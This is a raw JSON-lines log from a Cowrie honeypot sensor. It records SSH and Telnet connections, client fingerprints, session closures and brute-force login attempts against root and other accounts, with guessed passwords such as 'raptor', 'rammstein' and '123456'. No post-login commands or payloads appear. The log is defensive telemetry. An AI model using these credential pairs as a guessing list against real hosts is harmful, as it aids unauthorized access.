{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:40.475674Z","src_ip":"115.178.75.242","session":"2ab594769e9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":58896,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9cea51b3a63","protocol":"ssh","message":"New connection: 108.167.177.203:58896 (159.203.135.109:22) [session: f9cea51b3a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:40.482670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:40.486874Z","src_ip":"108.167.177.203","session":"f9cea51b3a63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:40.512230Z","src_ip":"108.167.177.203","session":"f9cea51b3a63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raptor","message":"login attempt [root/raptor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:40.648951Z","src_ip":"108.167.177.203","session":"f9cea51b3a63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:41.120581Z","src_ip":"103.183.114.55","session":"bb7f2502da88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sulo","message":"login attempt [root/sulo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:41.251724Z","src_ip":"115.178.75.242","session":"2ab594769e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:41.678309Z","src_ip":"108.167.177.203","session":"f9cea51b3a63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:42.440914Z","src_ip":"115.178.75.242","session":"2ab594769e9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":42836,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d082b4df6e2","protocol":"ssh","message":"New connection: 207.154.230.149:42836 (159.203.135.109:22) [session: 5d082b4df6e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:01.000125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:01.005380Z","src_ip":"207.154.230.149","session":"5d082b4df6e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:01.087042Z","src_ip":"207.154.230.149","session":"5d082b4df6e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"natalie","message":"login attempt [root/natalie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:01.441557Z","src_ip":"207.154.230.149","session":"5d082b4df6e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:02.526451Z","src_ip":"207.154.230.149","session":"5d082b4df6e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":38918,"dst_ip":"10.17.0.5","dst_port":22,"session":"7852d09a2af1","protocol":"ssh","message":"New connection: 62.133.63.178:38918 (10.17.0.5:22) [session: 7852d09a2af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:05.762946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:05.768449Z","src_ip":"62.133.63.178","session":"7852d09a2af1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:05.886735Z","src_ip":"62.133.63.178","session":"7852d09a2af1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rammstein","message":"login attempt [root/rammstein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:06.241429Z","src_ip":"62.133.63.178","session":"7852d09a2af1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:07.364562Z","src_ip":"62.133.63.178","session":"7852d09a2af1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":60427,"dst_ip":"159.203.135.109","dst_port":23,"session":"85c931ce94d9","protocol":"telnet","message":"New connection: 186.195.16.41:60427 (159.203.135.109:23) [session: 85c931ce94d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:16.484100Z"}
{"eventid":"cowrie.session.closed","duration":38.28426742553711,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:16.605677Z","src_ip":"192.119.13.58","session":"ec2582862ccf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59688,"dst_ip":"10.17.0.5","dst_port":23,"session":"30339942ae86","protocol":"telnet","message":"New connection: 192.119.13.58:59688 (10.17.0.5:23) [session: 30339942ae86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:19.425728Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58856,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d98cfa459fb","protocol":"ssh","message":"New connection: 103.176.20.57:58856 (159.203.135.109:22) [session: 8d98cfa459fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:25.303738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:25.309088Z","src_ip":"103.176.20.57","session":"8d98cfa459fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:25.559846Z","src_ip":"103.176.20.57","session":"8d98cfa459fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cricket","message":"login attempt [root/cricket] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:26.311925Z","src_ip":"103.176.20.57","session":"8d98cfa459fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:27.565845Z","src_ip":"103.176.20.57","session":"8d98cfa459fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":60295,"dst_ip":"159.203.135.109","dst_port":22,"session":"7747c6c609be","protocol":"ssh","message":"New connection: 103.219.170.37:60295 (159.203.135.109:22) [session: 7747c6c609be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:29.179163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:29.183574Z","src_ip":"103.219.170.37","session":"7747c6c609be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:29.251820Z","src_ip":"103.219.170.37","session":"7747c6c609be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RooT","message":"login attempt [root/RooT] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:29.462255Z","src_ip":"103.219.170.37","session":"7747c6c609be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:30.545408Z","src_ip":"103.219.170.37","session":"7747c6c609be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.168.136","src_port":40796,"dst_ip":"159.203.135.109","dst_port":22,"session":"84a4148fd7d0","protocol":"ssh","message":"New connection: 115.190.168.136:40796 (159.203.135.109:22) [session: 84a4148fd7d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:44.312509Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":50732,"dst_ip":"159.203.135.109","dst_port":22,"session":"0664ce41567d","protocol":"ssh","message":"New connection: 119.28.117.200:50732 (159.203.135.109:22) [session: 0664ce41567d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:47.460508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:47.464931Z","src_ip":"119.28.117.200","session":"0664ce41567d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:47.702250Z","src_ip":"119.28.117.200","session":"0664ce41567d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:48.685571Z","src_ip":"119.28.117.200","session":"0664ce41567d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":16083,"dst_ip":"10.17.0.5","dst_port":22,"session":"02a653371589","protocol":"ssh","message":"New connection: 193.46.255.86:16083 (10.17.0.5:22) [session: 02a653371589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:49.461128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:49.465278Z","src_ip":"193.46.255.86","session":"02a653371589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:49.590903Z","src_ip":"193.46.255.86","session":"02a653371589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:49.926049Z","src_ip":"119.28.117.200","session":"0664ce41567d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"123456","message":"login attempt [pritchard/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:50.167963Z","src_ip":"193.46.255.86","session":"02a653371589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":54930,"dst_ip":"159.203.135.109","dst_port":22,"session":"09b6f55c8b3b","protocol":"ssh","message":"New connection: 108.167.177.203:54930 (159.203.135.109:22) [session: 09b6f55c8b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:50.741397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:50.746250Z","src_ip":"108.167.177.203","session":"09b6f55c8b3b","protocol":"ssh"}
